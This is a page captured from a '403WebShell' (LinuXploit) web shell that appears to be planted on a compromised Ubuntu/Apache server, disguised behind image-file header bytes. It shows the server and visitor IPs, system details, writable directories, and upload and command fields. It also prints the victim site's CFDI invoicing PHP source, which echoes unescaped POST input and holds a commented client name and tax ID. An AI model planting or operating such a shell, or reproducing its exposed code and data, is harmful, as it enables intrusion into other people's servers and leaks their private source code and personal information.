����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 18.220.23.205
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/t/sae/application/salesHonorarios4/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/t/sae/application/salesHonorarios4/factura4H.php
<?php
session_start();

		
		
setlocale(LC_TIME, 'es_MX.UTF-8');
date_default_timezone_set("America/Mexico_City");

require_once ("../model/dbconn.php");
		require_once ("../model/pos.php");


 


 $sale1= $_POST['id_sales'];
 //datos del cliente
 $client_name = $_POST['client_name'];
  $client_rfc = $_POST['rfc'];
 $FormaPago = $_POST['FormaPago'];
  $uso_cfdi= $_POST['uso_cfdi'];
  $notapdf = $_POST['nota'];
  $posForma= new pos();
  $FormaPago = $posForma->getFormakId($FormaPago)[1]['def'];
  $hoy = date("F j, Y, g:i a");   
  //consultamos los datos del cliente en tabla customer
		
		

/*
$sell_id=6342;
$sale1='J221221013'; 
$client_name="XOCHILT CASAS CHAVEZ";
$client_rfc = 'CACX7605101P8';
$uso_cfdi= 'G03';
$FormaPago = '01';
$notapdf = 'NA';
$client_id = 1;
 $hoy = date("F j, Y, g:i a");   
 */

		$client = new pos();
		$client_regimen = $client->getClientByRFC($client_rfc)[1]['phone'];
		$client_codigo = $client->getClientByRFC($client_rfc)[1]['country'];
		$mailC = $client->getClientByRFC($client_rfc)[1]['email1'];
		//print_r($client->getClientByRFC($client_rfc));
		
//revisamos el id de sell
$posSell_id = new pos();
$sell_id = $posSell_id->getlistSell($sale1);
//print_r($sell_id[1]['id']);
  $sell_id=$sell_id[1]['id'];
  $sale_id=$sale1; 		

 
$respuesta='';

 $nombre_fichero = 'C:/xampp/htdocs/sdk2/timbrados/cfdi_factura_'.$sell_id.'.pdf'; // Obtenemos la ruta al archivo de tu BD



if (!file_exists($nombre_fichero)) {
			
		if(isset($sell_id) && isset($sale1))
		{	
			//ajustamos saldo updateSettingSaldo
						$updateSaldo = new pos();
						$saldox = $updateSaldo->updateSettingSaldo('Saldo-Fact'); 
						
			//revisamos saldo
						$posConfig = new pos();
							$saldo = $posConfig->getByPreffix("Saldo-Fact")[1]['val']; 
							
			//libreria de sdk2.php multifacturas
						$posSDK = new pos();
					     $lib_sdk = $posSDK->getByPreffix("lib_sdk")[1]['val']; 
											
						
			//folio de tabla facturacion
						$posFolioF = new pos();
						$FolioF = $posFolioF->getByFacturaMax();
						
						if($FolioF[1]['id'] > 0){
							 $FolioFactura = $FolioF[1]['id'] + 1;
						}else{
							 $FolioFactura = 1;
						}
			//verificamos el folio de venta en tabla facturas para ver si ya existe
						$facturado=new pos();
						$facturado1 = $facturado->getByFacturaSellExist($sell_id)[1];			
						
						if($facturado1 == 'true'){
							$resultado= false;
							$respuesta = 'Existe Folio en facturas';
						}else{
							//solicitamos timbrado de factura
							
							$posConfig = new pos();
							//impuesto general
							$impuestoBD = $posConfig->getByPreffix('imp-val')[1]['val'];
							//usuario multifacturas real
							$userMulti = $posConfig->getByPreffix('Usuario_Factura')[1]['val'];
							//pass multifacturas real
							$passMulti = $posConfig->getByPreffix('pass_fac')[1]['val'];
							//detalles
							 $ArchCerDemo = $posConfig->getByPreffix('archivo_cer_demo')[1]['val'];
							 $ArchKeyDemo = $posConfig->getByPreffix('archivo_key_demo')[1]['val']; 
							$settingsEmisor = $posConfig->getByPreffix('name_val')[1]['val']; 
							$settingsCP = $posConfig->getByPreffix('cp_val')[1]['val']; 
							$RegimenDemo = $posConfig->getByPreffix('Regimen_sat')[1]['val']; 
							$CodigoSatGenerico = $posConfig->getByPreffix('Sat_val')[1]['val']; 
							$settingsUnidadSat = $posConfig->getByPreffix('Sat_val_Unidad')[1]['val']; 
							$RFC_demo_Emisor = $posConfig->getByPreffix('rfc_val')[1]['val'];
							$RFC_nombre_Emisor = $posConfig->getByPreffix('name_val')[1]['val'];
							$PassDemoMulti= $posConfig->getByPreffix('Pass_Sat_demo')[1]['val'];
							$logo = $posConfig->getByPreffix('report_image')[1]['val']; 
							$emailPrincipal = $posConfig->getByPreffix('admin_email')[1]['val']; 
							//facturacion real SI(real)/NO(demo)
							$FacturacionReal = $posConfig->getByPreffix('demo_fac')[1]['val']; 
							
							
							
								  
								//***************** INICIA FUNCIONES MULTIFACTURAS*********************//
								
									//ejemplo factura cfdi 4.0

											// Se desactivan los mensajes de debug
											//error_reporting(0);
											error_reporting(0);

											// Se especifica la zona horaria
											date_default_timezone_set('America/Mexico_City');

											// Se incluye el SDK
												require_once '../../../../sdk2/sdk2.php';

											// Se especifica la version de CFDi 4.0
											$datos['version_cfdi'] = '4.0';

											// Ruta del XML Timbrado
											$datos['cfdi']='../../../../sdk2/timbrados/cfdi_factura_'.$sell_id.'.xml';

											// Ruta del XML de Debug
											$datos['xml_debug']='../../../../sdk2/timbrados/sin_timbrar_factura_'.$sell_id.'.xml';

											// Credenciales de Timbrado
											$datos['PAC']['usuario'] = ''.$userMulti.'';
											$datos['PAC']['pass'] = ''.$passMulti.'';
											$datos['PAC']['produccion'] = ''.$FacturacionReal.'';

											$datos['conf']['cer'] = '../../../../sdk2/certificados/'.$ArchCerDemo.'';
											$datos['conf']['key'] = '../../../../sdk2/certificados/'.$ArchKeyDemo.'';
											$datos['conf']['pass'] = ''.$PassDemoMulti.'';
														

											//datos de Emisor
														$datos['emisor']['rfc'] = ''.$RFC_demo_Emisor.''; //RFC DE PRUEBA
														$datos['emisor']['nombre'] = "".$settingsEmisor."";  // EMPRESA DE PRUEBA
														$datos['emisor']['RegimenFiscal'] = ''.$RegimenDemo.'';

											// Datos del Receptor
														$datos['receptor']['UsoCFDI'] = $uso_cfdi;
														$datos['receptor']['rfc'] = $client_rfc;
														$datos['receptor']['nombre'] = utf8_encode($client_name);
														$datos['receptor']['DomicilioFiscalReceptor'] = $client_codigo;
														$datos['receptor']['RegimenFiscalReceptor'] = $client_regimen;

											// Se agregan los conceptos
												$operations=new pos();
												$operation23 = array();
												$operation23 = $operations->getOperations($sale_id);
														
												//print_r($operation23);

												
											foreach($operation23[1] as $operation){
													$price_sin = number_format($operation['price'],2);
													$price_sin = floatval(preg_replace('/[^\d.]/', '', $price_sin));
														
													$concepto['ClaveProdServ'] = '84111506';
													$concepto['cantidad'] = $operation['qty'];
													$concepto['unidad'] = 'NO APLICA';
													$concepto['ClaveUnidad'] = "ACT"; //ID, REF, CODIGO O SKU DEL PRODUCTO
													$concepto['descripcion'] = $operation['item_name'];
													$concepto['valorunitario'] = $price_sin; // SIN IVA
													$concepto['importe'] = $price_sin;
													
													// agregado 4.0 2023
													$concepto['ObjetoImp'] = '02';
														
											}
												$datos['conceptos'][0] = $concepto;
												$iva_tras =0.00;
												$datos['conceptos'][0]['Impuestos']['Traslados'][0]['Base'] = $price_sin;
												$datos['conceptos'][0]['Impuestos']['Traslados'][0]['Impuesto'] = '002';
												$datos['conceptos'][0]['Impuestos']['Traslados'][0]['TasaOCuota'] = '0.000000';
												$datos['conceptos'][0]['Impuestos']['Traslados'][0]['Importe'] = $iva_tras; 
												$datos['conceptos'][0]['Impuestos']['Traslados'][0]['TipoFactor'] = 'Tasa';
												
												$iva_ret = 0.00;
												$datos['conceptos'][0]['Impuestos']['Retenciones'][0]['Impuesto'] = '002';
												$datos['conceptos'][0]['Impuestos']['Retenciones'][0]['Importe'] = $iva_ret; // iva de los productos facturados
												$datos['conceptos'][0]['Impuestos']['Retenciones'][0]['Base'] = $price_sin;
												$datos['conceptos'][0]['Impuestos']['Retenciones'][0]['TasaOCuota'] = '0.000000';
												$datos['conceptos'][0]['Impuestos']['Retenciones'][0]['TipoFactor'] = 'Tasa';
												
												
												echo ".........................Tipo de cliente: ";
												print_r($_POST['TypeClient']);
												echo "......................................";
												
												if($_POST['TypeClient']== 2){
													$ISR = 0.00;
													$impuestos = 0;
												}else{
													$ISR = $price_sin * 0.10;
													$datos['conceptos'][0]['Impuestos']['Retenciones'][1]['Impuesto'] = '001';
													$datos['conceptos'][0]['Impuestos']['Retenciones'][1]['Importe'] =  $ISR; // iva de los productos facturados
													$datos['conceptos'][0]['Impuestos']['Retenciones'][1]['Base'] = $price_sin;
													$datos['conceptos'][0]['Impuestos']['Retenciones'][1]['TasaOCuota'] = '0.100000';
													$datos['conceptos'][0]['Impuestos']['Retenciones'][1]['TipoFactor'] = 'Tasa';
													
													$retenido2['impuesto'] = '001';
													$retenido2['importe'] = $ISR; // iva de los productos facturados
													$datos['impuestos']['retenciones'][1] = $retenido2;
													$impuestos = $ISR;
												}
												
												
												$datos['impuestos']['TotalImpuestosTrasladados']= $iva_tras;
												
												$datos['impuestos']['TotalImpuestosRetenidos']=$iva_ret + $ISR;
												
												
												//agregado 4.0 enero 2023
												$translado1['Base'] = $price_sin;
												
												
												$translado1['Impuesto'] = '002';
												$translado1['TasaOCuota'] = '0.000000';
												$translado1['Importe'] = $iva_tras; // iva de los productos facturados
												$translado1['TipoFactor'] = 'Tasa';
												$datos['impuestos']['translados'][0] = $translado1;

												$retenido['impuesto'] = '002';
												$retenido['importe'] = $iva_ret; // iva de los productos facturados
												$datos['impuestos']['retenciones'][0] = $retenido;

												$total =$price_sin - $ISR;
												$subtotal = $price_sin;

											$datos['factura']['subtotal'] = $subtotal; // sin impuestos
											$datos['factura']['total'] = $total; // total incluyendo impuestos

											// Datos de la Factura
											$datos['factura']['condicionesDePago'] = 'CONTADO';
											$datos['factura']['descuento'] = '0.00';
											$datos['factura']['fecha_expedicion'] = date('Y-m-d\TH:i:s', time() - 120);
											$datos['factura']['folio'] = $FolioFactura;
											$datos['factura']['forma_pago'] =  $FormaPago;
											$datos['factura']['LugarExpedicion'] = $settingsCP;
											$datos['factura']['metodo_pago'] = 'PUE';
											$datos['factura']['moneda'] = 'MXN';
											$datos['factura']['serie'] = 'H'; 
											$datos['factura']['tipocambio'] = 1;
											$datos['factura']['tipocomprobante'] = 'I';
											$datos['factura']['Exportacion'] = '01';
									
											/*		
											echo '<pre>';
											 print_r($datos);
											echo '</pre>';
											*/
									
									
									$id=$sell_id;
									$mail=$emailPrincipal;
									$uuid=0;
									$rfc=$client_rfc;
									$sell_id=$id;
									$sale_id=$sale1;
									$total=$total;
									$iva=$impuestoBD;
									 $name=$client_name;
									$user_id =  $_SESSION['pos_id'];
									
									$pos = new pos();
									$insert = $pos->saveFacturaHono($mail,$uuid,$rfc,$sell_id,$sale_id , $subtotal, $impuestos ,$total,$iva,$name,$user_id);
									$retval['result'] = $insert[0];
									$retval['error'] = $insert[1];
									$retval['xsale_id'] = $insert[2];
									
									if($retval['result'] == 1){
										
										//print "<script>window.location='./basica11.php?uuid=$uuid&id=$sell_id&rfc=$client_rfc&name=$client_name&sale1=$sale_id';</script>";
										$result['result'] = true;
									}else{
										echo json_encode($retval);
									}
									
									//generamos error log de falla
													$test_object = new stdClass();
													$test_object->var = $retval.'-'.$hoy;
													$test_object->nombre = " FacturaH";
													error_log(print_r($test_object, true), 3, "Dental_log.log");
													
										
										
													
										
									//verificamos que se guardo registro de prefactura status = 3;
									if($result['result'] == true){	
											//generamos XML	  
												$res = mf_genera_cfdi4($datos);
												
												foreach ($res AS $variable => $valor) {
														$valor = htmlentities($valor);
														$valor = str_replace('&lt;br/&gt;', '<br/>', $valor);
														
															echo "<b>[$variable]=</b>$valor<hr>";
														
														
												}
												
												
												echo  '-----------codigo mf---------------  '.$codigo_error= $res['codigo_mf_numero'];
												$name_codigo= $res['codigo_mf_texto'];
												echo $uuid= $res['uuid'];
												$total=$subtotal + $impuesto;
												$iva=$impuestoBD;
												$name = $client_name; 
												$rfc = $_POST['rfc']; 
								echo "espere....";
												
								if($res['codigo_mf_numero'] == 0){
														
														
														
														
														//generar el pdf
														$datosHTML['RESPUESTA_UTF8'] = "SI";
														$datosHTML['PAC']['usuario'] = ''.$userMulti.'';
														$datosHTML['PAC']['pass'] = ''.$passMulti.'';
														$datosHTML['PAC']['produccion'] = "".$FacturacionReal."";
														//MODULO MULTIFACTURAS : CONVIERTE UN XML CFDI A HTML
														$datosHTML['modulo']="cfdi2html";                                                //NOMBRE MODULO
														$datosHTML['rutaxml']=$datos['cfdi'];    //RUTA DEL XML CFDI
														$MombreEmisor= $settingsEmisor->val;
														$datosHTML['titulo']=''.$MombreEmisor.'';                                          //TITULO DE FACTURA
														$datosHTML['tipo']="FACTURA";  													//TIPO DE FACTURA VENTA,NOMINA,ARRENDAMIENTO, 
														$datosHTML['path_logo']="".$lib_sdk."certificados/oie_oie_trim_image.png";                          //RUTA DE LOGOTIPO DE FACTURA
														$datosHTML['notas']=$_POST['note'];                                       //NOTA IMPRESA EN FACTURA
														$datosHTML['color_marco']="#324273";                                             //COLOR DEL MARCO DE LA FACTURA
														$datosHTML['color_marco_texto']="#24B7C8";                                       //COLOR DEL TEXTO DEL MARCO DE LA FACTURA
														$datosHTML['color_texto']="#042125";                                             //COLOR DEL TEXTO EN GENERAL
														$datosHTML['fuente_texto']="monospace";                                          //FUENTE DEL TEXTO EN GENERAL   
														$res = mf_ejecuta_modulo($datosHTML);                                  //FUNCION QUE CARGA EL MODULO cfdi2html
														$HTML=$res['html'];                                     //HTML DEL XML           //RESPUESTA DE LA FUNCION CARGAR MODULO
														
														

														//////////////////////////////////////////////////////////////////////////////
														//CONVERTIR EL HTML DEL XML CFDI A PDF
														$datosPDF['PAC']['usuario'] = ''.$userMulti.'';
														$datosPDF['PAC']['pass'] = ''.$passMulti.'';
														$datosPDF['PAC']['produccion'] = "".$FacturacionReal."";
														$datosPDF['modulo']="html2pdf";                                                   //NOMBRE MODULO
														$datosPDF['html']="$HTML";                                                        // HTML DE XML CFDI A CONVERTIR A PDF
														$datosPDF['archivo_html']="";                                                     // OPCION SI SE TIENE UN ARCHIVO .HTML       
														$datosPDF['archivo_pdf']="".$lib_sdk."timbrados/cfdi_factura_".$sell_id.".pdf";
														//$datosPDF['archivo_pdf']="RUTA DONDE SE CREARA EL PDF/nombrearhivo.pdf";          //RUTA DONDE SE GUARDARA EL PDF
														$res = mf_ejecuta_modulo($datosPDF);   
																
														//*****************TERMINA FUNCIONES MULTIFACTURAS*************//
											
											
											
													echo '/////////////////////////////////////////////////////////////termina pdf//////////////////////';
											
											
											
											if(file_exists($nombre_fichero)){
														
														$resultado= true;
														
														$respuesta = $uuid;
														$result['result'] = $resultado;
														$result['respuesta'] = $respuesta;
														$result['codigo_error'] = $codigo_error;
														$result['error'] = $name_codigo;
														 
														$posClient= new pos();
														$mailC = $posClient->getClientByRFC($client_rfc)[1]['email'];	
														if(empty($mailC)){
															$mailC = $emailPrincipal;
														}
														$user_id=1;
														
														
														
													echo '########################################################termina guardar factura//////////////////////';			
														//guardamos la factura generada
														if($result['result'] == true){
															//enviamos PARA ACTUALIZAR REGISTRO FACTURA GENERADA
															
															
															echo "<script>window.location='http://localhost/t/sae/application/salesHonorarios/facturaGen.php?uuid=$respuesta&sale_id=$sale_id';</script>";
														
														}else{
															$result['guarda_factura'] = false;
															$respuesta = 'Error al querer revisar archivo pdf de factura generada';
															echo json_encode($result);
															
															//generamos error log de falla
															$test_object = new stdClass();
															$test_object->var = $respuesta.'-'.$hoy;
															$test_object->nombre = " FacturaH";
															error_log(print_r($test_object, true), 3, "Dental_log.log");
															
															echo "<script>window.location='http://localhost/t/sae/application/salesFactura4.0S1/errFact?error=$respuesta';</script>";
															
														}
														
													}else{
														$resultado= false;
														$respuesta = 'Factura no generada';
														
														//generamos error log de falla
															$test_object = new stdClass();
															$test_object->var = $respuesta.'-'.$hoy;
															$test_object->nombre = " FacturaH";
															error_log(print_r($test_object, true), 3, "Dental_log.log");
															
															
														echo "<script>window.location='http://localhost/t/sae/application/salesFactura4.0S1/errFact.php?error=$respuesta&name_codigo=$name_codigo';</script>";
													}
									//si se intenta guardar nuevamente prefactura de da la excepcion
									
									 }else{
										 //echo "Error de codigo 7";
										 print "<script>window.location='http://localhost/t/sae/application/salesHonorarios/errFact.php?error=$respuesta&name_codigo=$name_codigo';</script>";
														
									 }
									 
									}else{
									
									 $respuesta = 'se intento timbrar folio de prefactura folio'.'-'.$sell_id.' ErrorSQL: '.' '.$result['error'];
												 
												//generamos error log de falla
													$test_object = new stdClass();
													$test_object->var = $respuesta.'-'.$hoy;
													$test_object->nombre = " FacturaH";
													error_log(print_r($test_object, true), 3, "Dental_log.log");
													
										echo json_encode($respuesta);
										
													
										print "<script>window.location='http://localhost/t/sae/application/salesHonorarios/errFact.php?error=3&name_codigo=$respuesta';</script>";
										
										
									}
									
						}
			
		}else{
			//error de folio de venta no encontrado
				$result['result'] = false;
				$result['error'] = 'Error folio de venta no Encontrado';
				echo json_encode($result);
				 
				
				//generamos error log de falla
									$test_object = new stdClass();
									$test_object->var = $result['error'].'-'.$hoy;
									$test_object->nombre = " Factura";
									error_log(print_r($test_object, true), 3, "Dental_log.log");
		}	

}else{
			//error de folio de venta no encontrado
				$result['result'] = false;   
				$result['error'] = 'No se Puede Timbrar dos veces un folio';
				$respuesta = $result['error'];
				echo json_encode($result);
				
									$test_object = new stdClass();
									$test_object->var = $result['error'].'-'.$hoy;
									$test_object->nombre = " Factura";
									error_log(print_r($test_object, true), 3, "Dental_log.log");
				$name_codigo = "Error General de facturacion, ya existen PDF y xml en sistema";
				
			    echo "<script>window.location='http://localhost/t/sae/application/salesHonorarios/errFact.php?error=$respuesta&name_codigo=$name_codigo';</script>";
							
}			
	


	
?>

Youez - 2016 - github.com/yon3zu
LinuXploit